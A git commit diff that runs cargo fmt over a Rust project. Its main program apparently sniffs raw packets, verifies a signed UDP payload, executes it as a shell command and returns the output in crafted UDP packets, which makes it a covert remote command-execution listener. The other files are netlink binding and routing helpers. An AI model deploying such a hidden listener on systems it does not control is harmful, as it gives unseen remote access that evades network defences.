chore: run cargo fmt

This commit is contained in:
Andrew Rioux 2023-05-04 00:47:20 -04:00
parent 798eda764f
commit 978d7cb089
14 changed files with 317 additions and 269 deletions

View File

@ -1,12 +1,12 @@
use std::process::Stdio;
use std::{sync::Arc, ffi::OsStr};
use std::os::unix::ffi::OsStrExt; use std::os::unix::ffi::OsStrExt;
use std::process::Stdio;
use std::{ffi::OsStr, sync::Arc};
use tokio::{self, sync::mpsc, process, io::AsyncReadExt}; use anyhow::{anyhow, bail, Context};
use tokio_stream::StreamExt; use ed25519_dalek::{PublicKey, Signature, Verifier};
use pcap_sys::{self, packets::EthernetPacket}; use pcap_sys::{self, packets::EthernetPacket};
use anyhow::{Context, anyhow, bail}; use tokio::{self, io::AsyncReadExt, process, sync::mpsc};
use ed25519_dalek::{PublicKey, Verifier, Signature}; use tokio_stream::StreamExt;
const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey"); const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey");
@ -14,7 +14,8 @@ const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey");
async fn main() -> anyhow::Result<()> { async fn main() -> anyhow::Result<()> {
simple_logger::SimpleLogger::new().init()?; simple_logger::SimpleLogger::new().init()?;
let pubkey = Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?); let pubkey =
Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?);
log::info!("Pubkey is good"); log::info!("Pubkey is good");
@ -41,7 +42,7 @@ async fn main() -> anyhow::Result<()> {
enum EventType { enum EventType {
Packet(Result<EthernetPacket, pcap_sys::error::Error>), Packet(Result<EthernetPacket, pcap_sys::error::Error>),
Send(EthernetPacket) Send(EthernetPacket),
} }
let mut packets = interface.stream()?; let mut packets = interface.stream()?;
@ -57,7 +58,8 @@ async fn main() -> anyhow::Result<()> {
let packet_sender_clone = packet_sender.clone(); let packet_sender_clone = packet_sender.clone();
let pubkey_clone = pubkey.clone(); let pubkey_clone = pubkey.clone();
tokio::spawn(async move { tokio::spawn(async move {
if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await { if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await
{
log::warn!("Error handling packet: {e}"); log::warn!("Error handling packet: {e}");
} }
}); });
@ -75,7 +77,7 @@ async fn main() -> anyhow::Result<()> {
async fn handle_command( async fn handle_command(
pubkey: Arc<PublicKey>, pubkey: Arc<PublicKey>,
eth: EthernetPacket, eth: EthernetPacket,
send_response: mpsc::Sender<EthernetPacket> send_response: mpsc::Sender<EthernetPacket>,
) -> anyhow::Result<()> { ) -> anyhow::Result<()> {
use pcap_sys::packets::*; use pcap_sys::packets::*;
let eth_pkt = eth.pkt(); let eth_pkt = eth.pkt();
@ -96,7 +98,9 @@ async fn handle_command(
let cmd = &data[64..]; let cmd = &data[64..];
pubkey.verify(cmd, &signature).context("message provided was unauthenticated")?; pubkey
.verify(cmd, &signature)
.context("message provided was unauthenticated")?;
let cmd = OsStr::from_bytes(cmd); let cmd = OsStr::from_bytes(cmd);
@ -110,12 +114,16 @@ async fn handle_command(
.stderr(Stdio::piped()) .stderr(Stdio::piped())
.spawn()?; .spawn()?;
let mut stdout = child.stdout.ok_or(anyhow!("could not get child process stdout"))?; let mut stdout = child
let mut stderr = child.stderr.ok_or(anyhow!("could not get child process stdout"))?; .stdout
.ok_or(anyhow!("could not get child process stdout"))?;
let mut stderr = child
.stderr
.ok_or(anyhow!("could not get child process stdout"))?;
enum Output { enum Output {
Out, Out,
Err Err,
} }
let mut stdout_buffer = [0u8; 1024]; let mut stdout_buffer = [0u8; 1024];
@ -133,17 +141,25 @@ async fn handle_command(
let msg = &match out_type { let msg = &match out_type {
Output::Err => stderr_buffer, Output::Err => stderr_buffer,
Output::Out => stdout_buffer Output::Out => stdout_buffer,
}[..len]; }[..len];
let port = match out_type { let port = match out_type {
Output::Err => 54249, Output::Err => 54249,
Output::Out => 54248 Output::Out => 54248,
}; };
let udp_packet = UDPPacket::construct(54248, port, msg); let udp_packet = UDPPacket::construct(54248, port, msg);
let ip_packet = IPv4Packet::construct(ip_pkt.dest_ip(), ip_pkt.source_ip(), &Layer4Packet::UDP(udp_packet)); let ip_packet = IPv4Packet::construct(
let eth_packet = EthernetPacket::construct(*eth_pkt.destination_address(), *eth_pkt.source_address(), &Layer3Packet::IPv4(ip_packet)); ip_pkt.dest_ip(),
ip_pkt.source_ip(),
&Layer4Packet::UDP(udp_packet),
);
let eth_packet = EthernetPacket::construct(
*eth_pkt.destination_address(),
*eth_pkt.source_address(),
&Layer3Packet::IPv4(ip_packet),
);
if let Err(e) = send_response.send(eth_packet).await { if let Err(e) = send_response.send(eth_packet).await {
log::warn!("Could not send response packet: {e:?}"); log::warn!("Could not send response packet: {e:?}");
} }
@ -152,4 +168,4 @@ async fn handle_command(
log::info!("Done executing command {cmd:?}"); log::info!("Done executing command {cmd:?}");
Ok(()) Ok(())
} }

View File

@ -1,7 +1,7 @@
use std::{io::prelude::*, net::UdpSocket, thread}; use std::{io::prelude::*, net::UdpSocket, thread};
use ed25519_dalek::{Keypair, Signer};
use anyhow::{anyhow, Context}; use anyhow::{anyhow, Context};
use ed25519_dalek::{Keypair, Signer};
const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey"); const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey");
const PRIVKEY: &[u8] = include_bytes!("../../key-generator/privkey"); const PRIVKEY: &[u8] = include_bytes!("../../key-generator/privkey");

View File

@ -1,7 +1,7 @@
use std::{io::prelude::*, net::Ipv4Addr, collections::HashMap}; use std::{collections::HashMap, io::prelude::*, net::Ipv4Addr};
use anyhow::anyhow; use anyhow::anyhow;
use tokio::time::{Duration, interval}; use tokio::time::{interval, Duration};
use tokio_stream::StreamExt; use tokio_stream::StreamExt;
use nl_sys::{netlink, route}; use nl_sys::{netlink, route};
@ -26,15 +26,17 @@ async fn main() -> anyhow::Result<()> {
let addrs = socket.get_addrs()?; let addrs = socket.get_addrs()?;
routes_inner.sort_by(|r1, r2| { routes_inner.sort_by(|r1, r2| {
r2.dst().map(|a| a.cidrlen()) r2.dst()
.map(|a| a.cidrlen())
.partial_cmp(&r1.dst().map(|a| a.cidrlen())) .partial_cmp(&r1.dst().map(|a| a.cidrlen()))
.unwrap_or(std::cmp::Ordering::Equal) .unwrap_or(std::cmp::Ordering::Equal)
}); });
let (ifname, srcip, srcmac, dstmac) = route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, target) let (ifname, srcip, srcmac, dstmac) =
.ok_or(anyhow!("unable to find a route to the IP"))?; route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, target)
.ok_or(anyhow!("unable to find a route to the IP"))?;
( ifname, srcmac, dstmac, srcip ) (ifname, srcmac, dstmac, srcip)
}; };
let mut interface = pcap_sys::new_aggregate_interface(false)?; let mut interface = pcap_sys::new_aggregate_interface(false)?;
@ -43,7 +45,7 @@ async fn main() -> anyhow::Result<()> {
interface.set_non_blocking(true)?; interface.set_non_blocking(true)?;
interface.set_promisc(false)?; interface.set_promisc(false)?;
interface.set_timeout(10)?; interface.set_timeout(10)?;
let mut interface = interface.activate()?; let mut interface = interface.activate()?;
interface.set_filter("inbound and udp port 54248", true, None)?; interface.set_filter("inbound and udp port 54248", true, None)?;
@ -52,7 +54,7 @@ async fn main() -> anyhow::Result<()> {
enum EventType { enum EventType {
Packet((String, Result<EthernetPacket, pcap_sys::error::Error>)), Packet((String, Result<EthernetPacket, pcap_sys::error::Error>)),
Update Update,
} }
let mut packets = interface.stream()?; let mut packets = interface.stream()?;
@ -86,9 +88,12 @@ async fn main() -> anyhow::Result<()> {
current_packet_id += 1; current_packet_id += 1;
sent_updates.insert(current_packet_id, false); sent_updates.insert(current_packet_id, false);
let udp_packet = UDPPacket::construct(54248, 54248, current_packet_id.to_be_bytes().to_vec()); let udp_packet =
let ip_packet = IPv4Packet::construct(srcip, target, &Layer4Packet::UDP(udp_packet)); UDPPacket::construct(54248, 54248, current_packet_id.to_be_bytes().to_vec());
let eth_packet = EthernetPacket::construct(src_mac, dst_mac, &Layer3Packet::IPv4(ip_packet)); let ip_packet =
IPv4Packet::construct(srcip, target, &Layer4Packet::UDP(udp_packet));
let eth_packet =
EthernetPacket::construct(src_mac, dst_mac, &Layer3Packet::IPv4(ip_packet));
packets.sendpacket(&ifname, eth_packet.pkt())?; packets.sendpacket(&ifname, eth_packet.pkt())?;
} }

View File

@ -1,28 +1,24 @@
// Copyright (C) 2023 Andrew Rioux // Copyright (C) 2023 Andrew Rioux
// //
// This program is free software: you can redistribute it and/or modify // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as // it under the terms of the GNU Affero General Public License as
// published by the Free Software Foundation, either version 3 of the // published by the Free Software Foundation, either version 3 of the
// License, or (at your option) any later version. // License, or (at your option) any later version.
// //
// This program is distributed in the hope that it will be useful, // This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of // but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details. // GNU Affero General Public License for more details.
// //
// You should have received a copy of the GNU Affero General Public License // You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>. // along with this program. If not, see <http://www.gnu.org/licenses/>.
fn main() { fn main() {
cc::Build::new() cc::Build::new().file("src/bridge.c").compile("bridge");
.file("src/bridge.c")
.compile("bridge");
let dst = autotools::Config::new("libnl") let dst = autotools::Config::new("libnl").reconf("-vi").build();
.reconf("-vi")
.build();
println!("cargo:rustc-link-search=native={}/lib", dst.display()); println!("cargo:rustc-link-search=native={}/lib", dst.display());
println!("cargo:rustc-link-lib=static=nl-3"); println!("cargo:rustc-link-lib=static=nl-3");
println!("cargo:rustc-link-lib=static=nl-route-3"); println!("cargo:rustc-link-lib=static=nl-route-3");
} }

View File

@ -1,19 +1,19 @@
// Copyright (C) 2023 Andrew Rioux // Copyright (C) 2023 Andrew Rioux
// //
// This program is free software: you can redistribute it and/or modify // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as // it under the terms of the GNU Affero General Public License as
// published by the Free Software Foundation, either version 3 of the // published by the Free Software Foundation, either version 3 of the
// License, or (at your option) any later version. // License, or (at your option) any later version.
// //
// This program is distributed in the hope that it will be useful, // This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of // but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details. // GNU Affero General Public License for more details.
// //
// You should have received a copy of the GNU Affero General Public License // You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>. // along with this program. If not, see <http://www.gnu.org/licenses/>.
use std::{fmt::Display, ffi::CStr}; use std::{ffi::CStr, fmt::Display};
use libc::c_int; use libc::c_int;
@ -45,4 +45,4 @@ impl Display for Error {
impl std::error::Error for Error {} impl std::error::Error for Error {}
pub type Result<T> = std::result::Result<T, Error>; pub type Result<T> = std::result::Result<T, Error>;

View File

@ -1,22 +1,22 @@
// Copyright (C) 2023 Andrew Rioux // Copyright (C) 2023 Andrew Rioux
// //
// This program is free software: you can redistribute it and/or modify // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as // it under the terms of the GNU Affero General Public License as
// published by the Free Software Foundation, either version 3 of the // published by the Free Software Foundation, either version 3 of the
// License, or (at your option) any later version. // License, or (at your option) any later version.
// //
// This program is distributed in the hope that it will be useful, // This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of // but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details. // GNU Affero General Public License for more details.
// //
// You should have received a copy of the GNU Affero General Public License // You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>. // along with this program. If not, see <http://www.gnu.org/licenses/>.
pub mod nl_ffi;
pub mod netlink;
pub mod route;
pub mod error; pub mod error;
pub mod netlink;
pub mod nl_ffi;
pub mod route;
// from bridge.c // from bridge.c
extern "C" { extern "C" {
@ -92,4 +92,4 @@ extern "C" {
} }
Ok(()) Ok(())
} */ } */

View File

@ -1,34 +1,40 @@
// Copyright (C) 2023 Andrew Rioux // Copyright (C) 2023 Andrew Rioux
// //
// This program is free software: you can redistribute it and/or modify // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as // it under the terms of the GNU Affero General Public License as
// published by the Free Software Foundation, either version 3 of the // published by the Free Software Foundation, either version 3 of the
// License, or (at your option) any later version. // License, or (at your option) any later version.
// //
// This program is distributed in the hope that it will be useful, // This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of // but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details. // GNU Affero General Public License for more details.
// //
// You should have received a copy of the GNU Affero General Public License // You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>. // along with this program. If not, see <http://www.gnu.org/licenses/>.
use std::{ptr, marker::PhantomData}; use std::{marker::PhantomData, ptr};
use libc::{AF_UNSPEC, AF_INET}; use libc::{AF_INET, AF_UNSPEC};
use crate::{nl_ffi::*, error, route::{Link, Neigh, Route, RtAddr}}; use crate::{
error,
nl_ffi::*,
route::{Link, Neigh, Route, RtAddr},
};
/// A netlink socket used to communicate with the kernel /// A netlink socket used to communicate with the kernel
pub struct Socket { pub struct Socket {
pub(crate) sock: *mut nl_sock pub(crate) sock: *mut nl_sock,
} }
impl Socket { impl Socket {
/// Establish a new connection with the Linux kernel /// Establish a new connection with the Linux kernel
pub fn new() -> error::Result<Self> { pub fn new() -> error::Result<Self> {
unsafe { unsafe {
let sock = Socket { sock: nl_socket_alloc() }; let sock = Socket {
sock: nl_socket_alloc(),
};
let ret = nl_connect(sock.sock, crate::netlink_route()); let ret = nl_connect(sock.sock, crate::netlink_route());
if ret < 0 { if ret < 0 {
@ -51,7 +57,7 @@ impl Socket {
Ok(Cache { Ok(Cache {
cache: link_cache, cache: link_cache,
dt: PhantomData dt: PhantomData,
}) })
} }
} }
@ -68,7 +74,7 @@ impl Socket {
Ok(Cache { Ok(Cache {
cache: neigh_cache, cache: neigh_cache,
dt: PhantomData dt: PhantomData,
}) })
} }
} }
@ -76,7 +82,7 @@ impl Socket {
pub fn get_routes(&self) -> error::Result<Cache<Route>> { pub fn get_routes(&self) -> error::Result<Cache<Route>> {
unsafe { unsafe {
let mut route_cache = ptr::null_mut::<nl_cache>(); let mut route_cache = ptr::null_mut::<nl_cache>();
let ret = rtnl_route_alloc_cache(self.sock, AF_INET, 0, &mut route_cache as *mut _); let ret = rtnl_route_alloc_cache(self.sock, AF_INET, 0, &mut route_cache as *mut _);
if ret < 0 { if ret < 0 {
@ -85,7 +91,7 @@ impl Socket {
Ok(Cache { Ok(Cache {
cache: route_cache, cache: route_cache,
dt: PhantomData dt: PhantomData,
}) })
} }
} }
@ -93,7 +99,7 @@ impl Socket {
pub fn get_addrs(&self) -> error::Result<Cache<RtAddr>> { pub fn get_addrs(&self) -> error::Result<Cache<RtAddr>> {
unsafe { unsafe {
let mut addr_cache = ptr::null_mut::<nl_cache>(); let mut addr_cache = ptr::null_mut::<nl_cache>();
let ret = rtnl_addr_alloc_cache(self.sock, &mut addr_cache as *mut _); let ret = rtnl_addr_alloc_cache(self.sock, &mut addr_cache as *mut _);
if ret < 0 { if ret < 0 {
@ -102,7 +108,7 @@ impl Socket {
Ok(Cache { Ok(Cache {
cache: addr_cache, cache: addr_cache,
dt: PhantomData dt: PhantomData,
}) })
} }
} }
@ -133,23 +139,21 @@ pub fn get_link_by_index(cache: &Cache<Link>, index: i32) -> Option<Link> {
/// collection of nl_objects /// collection of nl_objects
pub struct Cache<T> pub struct Cache<T>
where where
T: From<*mut nl_object> T: From<*mut nl_object>,
{ {
pub(crate) cache: *mut nl_cache, pub(crate) cache: *mut nl_cache,
dt: PhantomData<T> dt: PhantomData<T>,
} }
impl<T: From<*mut nl_object>> Cache<T> { impl<T: From<*mut nl_object>> Cache<T> {
pub fn iter(&self) -> CacheIter<'_, T> { pub fn iter(&self) -> CacheIter<'_, T> {
let cache_size = unsafe { let cache_size = unsafe { nl_cache_nitems(self.cache) } as usize;
nl_cache_nitems(self.cache)
} as usize;
CacheIter { CacheIter {
obj: unsafe { nl_cache_get_first(self.cache) }, obj: unsafe { nl_cache_get_first(self.cache) },
cache_size, cache_size,
index: 0, index: 0,
item_type: PhantomData {} item_type: PhantomData {},
} }
} }
} }
@ -182,7 +186,7 @@ impl<T: From<*mut nl_object>> Iterator for CacheIter<'_, T> {
let obj = self.obj; let obj = self.obj;
self.obj = unsafe { nl_cache_get_next(obj) }; self.obj = unsafe { nl_cache_get_next(obj) };
Some(T::from(obj)) Some(T::from(obj))
} }

View File

@ -1,19 +1,19 @@
// Copyright (C) 2023 Andrew Rioux // Copyright (C) 2023 Andrew Rioux
// //
// This program is free software: you can redistribute it and/or modify // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as // it under the terms of the GNU Affero General Public License as
// published by the Free Software Foundation, either version 3 of the // published by the Free Software Foundation, either version 3 of the
// License, or (at your option) any later version. // License, or (at your option) any later version.
// //
// This program is distributed in the hope that it will be useful, // This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of // but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details. // GNU Affero General Public License for more details.
// //
// You should have received a copy of the GNU Affero General Public License // You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>. // along with this program. If not, see <http://www.gnu.org/licenses/>.
use libc::{c_int, c_void, c_char, c_uint}; use libc::{c_char, c_int, c_uint, c_void};
macro_rules! nl_obj { macro_rules! nl_obj {
($name:ident) => { ($name:ident) => {
@ -23,7 +23,7 @@ macro_rules! nl_obj {
_data: [u8; 0], _data: [u8; 0],
_marker: core::marker::PhantomData<(*mut u8, core::marker::PhantomPinned)>, _marker: core::marker::PhantomData<(*mut u8, core::marker::PhantomPinned)>,
} }
} };
} }
nl_obj!(nl_sock); nl_obj!(nl_sock);
@ -56,7 +56,11 @@ extern "C" {
pub fn nl_addr_get_family(addr: *mut nl_addr) -> c_int; pub fn nl_addr_get_family(addr: *mut nl_addr) -> c_int;
pub fn nl_addr_get_prefixlen(addr: *mut nl_addr) -> c_uint; pub fn nl_addr_get_prefixlen(addr: *mut nl_addr) -> c_uint;
pub fn nl_cache_foreach(cache: *mut nl_cache, cb: extern "C" fn(*mut nl_object, *mut c_void), arg: *mut c_void) -> c_void; pub fn nl_cache_foreach(
cache: *mut nl_cache,
cb: extern "C" fn(*mut nl_object, *mut c_void),
arg: *mut c_void,
) -> c_void;
pub fn nl_cache_put(cache: *mut nl_cache) -> c_void; pub fn nl_cache_put(cache: *mut nl_cache) -> c_void;
pub fn nl_cache_nitems(cache: *mut nl_cache) -> c_int; pub fn nl_cache_nitems(cache: *mut nl_cache) -> c_int;
pub fn nl_cache_get_first(cache: *mut nl_cache) -> *mut nl_object; pub fn nl_cache_get_first(cache: *mut nl_cache) -> *mut nl_object;
@ -69,19 +73,32 @@ extern "C" {
pub fn rtnl_addr_get_local(addr: *mut rtnl_addr) -> *mut nl_addr; pub fn rtnl_addr_get_local(addr: *mut rtnl_addr) -> *mut nl_addr;
pub fn rtnl_neigh_alloc_cache(sock: *mut nl_sock, result: *mut *mut nl_cache) -> c_int; pub fn rtnl_neigh_alloc_cache(sock: *mut nl_sock, result: *mut *mut nl_cache) -> c_int;
pub fn rtnl_neigh_get(cache: *mut nl_cache, ifindex: c_int, dst: *mut nl_addr) -> *mut rtnl_neigh; pub fn rtnl_neigh_get(
cache: *mut nl_cache,
ifindex: c_int,
dst: *mut nl_addr,
) -> *mut rtnl_neigh;
pub fn rtnl_neigh_get_dst(neigh: *mut rtnl_neigh) -> *mut nl_addr; pub fn rtnl_neigh_get_dst(neigh: *mut rtnl_neigh) -> *mut nl_addr;
pub fn rtnl_neigh_get_lladdr(neigh: *mut rtnl_neigh) -> *mut nl_addr; pub fn rtnl_neigh_get_lladdr(neigh: *mut rtnl_neigh) -> *mut nl_addr;
pub fn rtnl_neigh_get_ifindex(neigh: *mut rtnl_neigh) -> c_int; pub fn rtnl_neigh_get_ifindex(neigh: *mut rtnl_neigh) -> c_int;
pub fn rtnl_link_get(cache: *mut nl_cache, index: c_int) -> *mut rtnl_link; pub fn rtnl_link_get(cache: *mut nl_cache, index: c_int) -> *mut rtnl_link;
pub fn rtnl_link_alloc_cache(sock: *mut nl_sock, family: c_int, result: *mut *mut nl_cache) -> c_int; pub fn rtnl_link_alloc_cache(
sock: *mut nl_sock,
family: c_int,
result: *mut *mut nl_cache,
) -> c_int;
pub fn rtnl_link_get_addr(link: *mut rtnl_link) -> *mut nl_addr; pub fn rtnl_link_get_addr(link: *mut rtnl_link) -> *mut nl_addr;
pub fn rtnl_link_get_name(link: *mut rtnl_link) -> *const c_char; pub fn rtnl_link_get_name(link: *mut rtnl_link) -> *const c_char;
pub fn rtnl_link_get_ifindex(link: *mut rtnl_link) -> c_int; pub fn rtnl_link_get_ifindex(link: *mut rtnl_link) -> c_int;
pub fn rtnl_link_get_type(link: *mut rtnl_link) -> *const c_char; pub fn rtnl_link_get_type(link: *mut rtnl_link) -> *const c_char;
pub fn rtnl_route_alloc_cache(sock: *mut nl_sock, family: c_int, flags: c_int, result: *mut *mut nl_cache) -> c_int; pub fn rtnl_route_alloc_cache(
sock: *mut nl_sock,
family: c_int,
flags: c_int,
result: *mut *mut nl_cache,
) -> c_int;
pub fn rtnl_route_get_src(route: *mut rtnl_route) -> *mut nl_addr; pub fn rtnl_route_get_src(route: *mut rtnl_route) -> *mut nl_addr;
pub fn rtnl_route_get_dst(route: *mut rtnl_route) -> *mut nl_addr; pub fn rtnl_route_get_dst(route: *mut rtnl_route) -> *mut nl_addr;
pub fn rtnl_route_get_iif(route: *mut rtnl_route) -> c_int; pub fn rtnl_route_get_iif(route: *mut rtnl_route) -> c_int;

View File

@ -1,29 +1,36 @@
// Copyright (C) 2023 Andrew Rioux // Copyright (C) 2023 Andrew Rioux
// //
// This program is free software: you can redistribute it and/or modify // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as // it under the terms of the GNU Affero General Public License as
// published by the Free Software Foundation, either version 3 of the // published by the Free Software Foundation, either version 3 of the
// License, or (at your option) any later version. // License, or (at your option) any later version.
// //
// This program is distributed in the hope that it will be useful, // This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of // but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details. // GNU Affero General Public License for more details.
// //
// You should have received a copy of the GNU Affero General Public License // You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>. // along with this program. If not, see <http://www.gnu.org/licenses/>.
use std::{ffi::{CStr, CString}, net::Ipv4Addr, fmt::Debug}; use std::{
ffi::{CStr, CString},
fmt::Debug,
net::Ipv4Addr,
};
use libc::{c_int, AF_INET, c_uint}; use libc::{c_int, c_uint, AF_INET};
use crate::{error, netlink::{Cache, self}}; use crate::{
error,
netlink::{self, Cache},
};
use super::nl_ffi::*; use super::nl_ffi::*;
/// Represents an address assigned to a link /// Represents an address assigned to a link
pub struct RtAddr { pub struct RtAddr {
addr: *mut rtnl_addr addr: *mut rtnl_addr,
} }
impl RtAddr { impl RtAddr {
@ -50,14 +57,15 @@ impl RtAddr {
impl From<*mut nl_object> for RtAddr { impl From<*mut nl_object> for RtAddr {
fn from(value: *mut nl_object) -> Self { fn from(value: *mut nl_object) -> Self {
RtAddr { addr: value as *mut _ } RtAddr {
addr: value as *mut _,
}
} }
} }
/// Represents a network link, which can represent a network device /// Represents a network link, which can represent a network device
pub struct Link { pub struct Link {
pub(crate) link: *mut rtnl_link pub(crate) link: *mut rtnl_link,
} }
impl Link { impl Link {
@ -74,7 +82,9 @@ impl Link {
/// representing MAC addresses or IP addresses /// representing MAC addresses or IP addresses
pub fn addr(&self) -> Addr { pub fn addr(&self) -> Addr {
unsafe { unsafe {
Addr { addr: rtnl_link_get_addr(self.link) } Addr {
addr: rtnl_link_get_addr(self.link),
}
} }
} }
@ -92,9 +102,7 @@ impl Link {
/// Determines the index of the interface in the kernel table /// Determines the index of the interface in the kernel table
pub fn ifindex(&self) -> c_int { pub fn ifindex(&self) -> c_int {
unsafe { unsafe { rtnl_link_get_ifindex(self.link) }
rtnl_link_get_ifindex(self.link)
}
} }
/// Tries to get the neighbor for this link, which can provide the destination address and the /// Tries to get the neighbor for this link, which can provide the destination address and the
@ -103,7 +111,7 @@ impl Link {
unsafe { unsafe {
let neigh = rtnl_neigh_get(neigh_table.cache, self.ifindex(), addr.addr); let neigh = rtnl_neigh_get(neigh_table.cache, self.ifindex(), addr.addr);
if neigh.is_null() { if neigh.is_null() {
return None; return None;
} }
@ -114,74 +122,77 @@ impl Link {
impl Debug for Link { impl Debug for Link {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
f f.debug_struct("Link").field("name", &self.name()).finish()
.debug_struct("Link")
.field("name", &self.name())
.finish()
} }
} }
impl From<*mut nl_object> for Link { impl From<*mut nl_object> for Link {
fn from(value: *mut nl_object) -> Self { fn from(value: *mut nl_object) -> Self {
Self { Self {
link: value as *mut _ link: value as *mut _,
} }
} }
} }
pub fn get_macs_and_src_for_ip(addrs: &Cache<RtAddr>, routes: &Cache<Route>, neighs: &Cache<Neigh>, links: &Cache<Link>, addr: Ipv4Addr) -> Option<(String, Ipv4Addr, [u8; 6], [u8; 6])> { pub fn get_macs_and_src_for_ip(
addrs: &Cache<RtAddr>,
routes: &Cache<Route>,
neighs: &Cache<Neigh>,
links: &Cache<Link>,
addr: Ipv4Addr,
) -> Option<(String, Ipv4Addr, [u8; 6], [u8; 6])> {
let mut sorted_routes = routes.iter().collect::<Vec<_>>(); let mut sorted_routes = routes.iter().collect::<Vec<_>>();
sorted_routes.sort_by(|r1, r2| { sorted_routes.sort_by(|r1, r2| {
r2.dst().map(|a| a.cidrlen()) r2.dst()
.map(|a| a.cidrlen())
.partial_cmp(&r1.dst().map(|a| a.cidrlen())) .partial_cmp(&r1.dst().map(|a| a.cidrlen()))
.unwrap_or(std::cmp::Ordering::Equal) .unwrap_or(std::cmp::Ordering::Equal)
}); });
let ip_int = u32::from(addr); let ip_int = u32::from(addr);
let route = sorted_routes let route = sorted_routes.iter().find(|route| {
.iter() let Some(dst) = route.dst() else { return false };
.find(|route| {
let Some(dst) = route.dst() else { return false };
let mask = if dst.cidrlen() != 0 { let mask = if dst.cidrlen() != 0 {
(0xFFFFFFFFu32.overflowing_shr(32 - dst.cidrlen())).0.overflowing_shl(32 - dst.cidrlen()).0 (0xFFFFFFFFu32.overflowing_shr(32 - dst.cidrlen()))
} else { .0
0 .overflowing_shl(32 - dst.cidrlen())
}; .0
} else {
0
};
let Ok(dst_addr): Result<Ipv4Addr, _> = (&dst).try_into() else { return false }; let Ok(dst_addr): Result<Ipv4Addr, _> = (&dst).try_into() else { return false };
let dst_addr: u32 = dst_addr.into(); let dst_addr: u32 = dst_addr.into();
(mask & dst_addr) == (mask & ip_int) (mask & dst_addr) == (mask & ip_int)
})?; })?;
let link_ind = route let link_ind = route.hop_iter().next()?.ifindex();
.hop_iter()
.next()?
.ifindex();
let link = netlink::get_link_by_index(links, link_ind)?; let link = netlink::get_link_by_index(links, link_ind)?;
let neigh = neighs let neigh = neighs.iter().find(|n| n.ifindex() == link.ifindex())?;
.iter()
.find(|n| n.ifindex() == link.ifindex())?;
let srcip = addrs let srcip = addrs.iter().find(|a| a.ifindex() == link.ifindex())?;
.iter()
.find(|a| a.ifindex() == link.ifindex())?;
Some(( Some((
link.name(), link.name(),
(&srcip.local()?).try_into().ok()?, (&srcip.local()?).try_into().ok()?,
link.addr().hw_address().try_into().ok()?, link.addr().hw_address().try_into().ok()?,
neigh.lladdr().hw_address().try_into().ok()? neigh.lladdr().hw_address().try_into().ok()?,
)) ))
} }
/// Gets the neighbor record for the source IP specified, or get the default address /// Gets the neighbor record for the source IP specified, or get the default address
pub fn get_neigh_for_addr(routes: &Cache<Route>, neighs: &Cache<Neigh>, links: &Cache<Link>, addr: &Addr) -> Option<(Ipv4Addr, Link, [u8; 6])> { pub fn get_neigh_for_addr(
routes: &Cache<Route>,
neighs: &Cache<Neigh>,
links: &Cache<Link>,
addr: &Addr,
) -> Option<(Ipv4Addr, Link, [u8; 6])> {
for link in links.iter() { for link in links.iter() {
